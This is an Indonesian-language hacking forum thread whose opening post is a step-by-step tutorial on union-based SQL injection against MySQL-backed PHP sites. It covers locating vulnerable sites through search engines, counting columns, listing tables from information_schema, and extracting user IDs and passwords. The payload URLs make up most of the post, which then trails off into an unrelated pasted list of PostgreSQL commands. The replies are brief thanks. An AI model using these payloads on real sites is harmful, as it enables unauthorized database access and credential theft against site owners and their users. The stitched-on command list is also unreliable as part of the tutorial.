Ceriwis  

Go Back   Ceriwis > HOBI > Komputer & Teknologi > Hacking

Hacking Hacking, Cracking, Phreaking semua ada disini. Use at your own risk!

Reply
 
Thread Tools
  #1  
Old 13th February 2010
gilang's Avatar
gilang gilang is offline
Newbie
 
Join Date: Jan 2010
Posts: 27
Rep Power: 0
gilang sebentar lagi akan terkenalgilang sebentar lagi akan terkenal
Default teknik hacking dengan SQL injection

ane pengen bagi bagi ilmu nih dikit tapi jangan asal sembarang make ye kang soalnye bahaya:m173:
Quote:
sepintas tekhnik ini sama dengan tekhnik SQL pada umumnya...
Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --

###################
## +step Satu+ ##
###################
carilah target
salah satunya menggunakan search engine pada google !!
sebagai penjelasan klik disini

misal: [site]/berita.php?id=


Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100


###################
## +step dua+ ##
###################
mencari dan menghitung jumlah table yang ada dalam databasenya...
seperti yang kita ketahui bersama pada SQL injection untuk menghitung jumlah table pada databasenya
menggunakan perintah : order by
contoh :
[site]/berita.php?id=-12 order by 1--
[site]/berita.php?id=-12 order by 2--


hingga muncul pesan error...

*namun untuk kasus tertentu order by tidak dapat digunakan ...
pada blind SQL kita dapat mengetahui jumlah table yang ada dengan cara Melakukan column count !!!

contoh melakuan column count :
union select diikuti dengan angka.

maka: [site]/berita.php?id= union select 1/*
maka: [site]/berita.php?id= union select 1,2/*
maka: [site]/berita.php?id= union select 1,2,3/*

hingga keluar angka pada tampilan web target

anggap yang keluar sampai angka 9
ok angka yg keluar angka 9 dan 2


###################
## +step tiga+ ##
###################

menampilkan table...
pada SQL injection untuk menampilkan table adalah memasukkan perintah group_concat(table_name) pada angka yg keluar tadi
dan perintah +from+information_schema.tables+where+table_schema =database() setelah angka terakhir

contoh :
[site]/berita.php?id=-12+union+select+1,2,3,4,group_concat(table_name),6 ,7,8+from+information_schema.tables+where+table_sc hema=database()--

jika gagal kita dapat mengganti querynya
query yang kita gunakan adalah : union select table_name from information_schema.tables where table_schema=database() limit 0,1
masukan "table_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.tables where table_schema=database() limit 0,1"
menjadi , [site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 0,1/*

disini saya menggunakan 2.


####################
## +step empat+ ##
####################

mengeluarkan table_name yang lain.
untuk mengeluarkan table_name yang lain ganti nilai limit menjadi , 1,1 , 2,1 , 3,1 ....
hingga mendapatkan table yang kita inginkan !!!

contoh:
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 1,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 2,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 3,1/*


dan contoh hasilnya :
1,1 : aktual_berita
2,1 : aktual_kategori
3,1 : berita
4,1 : category
5,1 : iklan
10,1: user

dan tabel yang kita butuhkan ada pada limit 10,1 ( user )

###################
## +step lima+ ##
###################
ada tahap ini kamu wajib mengekstrax kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

ascii-convert.tk

kata user menjadi : 75736572
maka :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=user limit 0,1/*
menjadi
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*



untuk mengetahui isi pada table user anda dapat mengganti nilai limit :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 1,1/*


dan hasilnya :
0,1 : userid
1,1 : password
1,2 : description
1,3 : auth

* Setiap bilangan hexa harus di tambah 0x
contoh : bilangan hexa dari indonesiacoder = 696E646F6E65736961636F646572
bila di gunakan akan menjadi = 0x696E646F6E65736961636F646572

###################
## +step enam+ ##
###################
mengeluarkan field .
query yang kita gunakan adalah : UNION SELECT column_name FROM table_name

column_name :userid, password
table_name :user

masukan column_name pada angka yang keluar kemudian FROM table_name
menjadi,
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from table_name/*

contoh
[site]/berita.php?id=-12 union select 1,password,3,4,5,6,7,8,9 from user/*



* Mengunakan Concatenation
Concatenation adalah kondisi dimana kamu ingin mengeluarkan field dengan banyak colomn_name atau karna kurangnya angka yang keluar saat blind union. untuk string Concatenation pada mysql adalah CONCAT(A,B,C,...)

contoh:
kondisi kurangnya angka yang keluar saat blind union.
column_name : userid, password, description
table_name :user
angka yang keluar: 2 dan 9

bagaimana kita mengeluarkan field dengan 3 column_name sedangkan angka yang keluar hanya 2 (2 dan 9), jawabanya menggunakan concat() tadi.
contoh :
[site]/berita.php?id=-12 union select 1,concat(0x3C3D3E,userid,0x3a,password,0x3a,descri ption,0x3C3D3E),3,4,5,6,7,8,9 from user/*

###################
## +step enam+ ##
###################
tahap terakhir mencari halaman admin atau login
ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database
ni ane dapet dari forum sebelah gan
echo.or.id
moga moga aje berguna buat semua :bounce ball:

kalo berkenan boleh dong melonnye
kalo kagak rate atuh

Reply With Quote
  #2  
Old 13th February 2010
Footbalers Footbalers is offline
Moderator
 
Join Date: Dec 2009
Location: ---------
Posts: 836
Rep Power: 17
Footbalers mempunyai hidup yang Normal
Default

Kasih tips tentang Google Hacking juga dong....
Denger-denger hacking menggunakan Google lebih powerfull daripada dengan tool...
Reply With Quote
  #3  
Old 13th February 2010
papaBear papaBear is offline
Ceriwis Addicted
 
Join Date: Dec 2009
Location: solo-jkt pp
Posts: 4,511
Rep Power: 24
papaBear mempunyai banyak pengalamanpapaBear mempunyai banyak pengalamanpapaBear mempunyai banyak pengalamanpapaBear mempunyai banyak pengalamanpapaBear mempunyai banyak pengalamanpapaBear mempunyai banyak pengalaman
Default

--- ane awam banget ama ygbijinian
--- ane ijin baca dolo ya ndan
--- kasih tutorial hacking yg simple buat aksi yg sederhana dunkkk
Reply With Quote
  #4  
Old 3rd June 2010
petugasbank's Avatar
petugasbank petugasbank is offline
Newbie
 
Join Date: Jun 2010
Location: norway
Posts: 9
Rep Power: 0
petugasbank mempunyai hidup yang Normal
Thumbs up

boleh nih buat para komandan yg pgn belajar
Reply With Quote
  #5  
Old 10th June 2010
hendrarx7 hendrarx7 is offline
Newbie
 
Join Date: Jun 2010
Posts: 13
Rep Power: 0
hendrarx7 mempunyai hidup yang Normal
Default

nice inpo

Spoiler for HOT:
:iloveindonesia:iloveindonesia:iloveindonesia
Reply With Quote
  #6  
Old 15th June 2010
SayangSekali SayangSekali is offline
Member
 
Join Date: Jun 2010
Posts: 51
Rep Power: 0
SayangSekali mempunyai hidup yang Normal
Default

coba ane cerna dlu ndan,,,,,,
Reply With Quote
  #7  
Old 17th June 2010
r1yd's Avatar
r1yd r1yd is offline
Ceriwis Lover
 
Join Date: May 2010
Location: - eaRth pRis0n -
Posts: 1,968
Rep Power: 21
r1yd tau seluk beluk forumr1yd tau seluk beluk forumr1yd tau seluk beluk forumr1yd tau seluk beluk forumr1yd tau seluk beluk forumr1yd tau seluk beluk forumr1yd tau seluk beluk forumr1yd tau seluk beluk forumr1yd tau seluk beluk forum
Default

ijin coba ya ndan. .plan2 aj dh msih bnyak yg blom ngerti bahasa.a
Reply With Quote
  #8  
Old 20th July 2010
fanda's Avatar
fanda fanda is offline
Member
 
Join Date: Jun 2010
Location: ...somewhere at search en
Posts: 99
Rep Power: 0
fanda mempunyai hidup yang Normal
Default

tapi skarang udah banyak situs yg kebal ama sql inject.
Reply With Quote
  #9  
Old 8th September 2010
ukid's Avatar
ukid ukid is offline
Ceriwis Lover
 
Join Date: May 2010
Posts: 1,051
Rep Power: 24
ukid is blessedukid is blessedukid is blessedukid is blessedukid is blessedukid is blessedukid is blessedukid is blessedukid is blessedukid is blessedukid is blessed
Default

ane cermati dulu deh ndan...
Reply With Quote
  #10  
Old 15th November 2010
ubur's Avatar
ubur ubur is offline
Newbie
 
Join Date: Oct 2010
Location: NORTH RR JOGJA
Posts: 46
Rep Power: 0
ubur mempunyai hidup yang Normal
Default

:101: pake tool hav*j jg bs kan brad
Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off


 


All times are GMT +7. The time now is 07:57 PM.


no new posts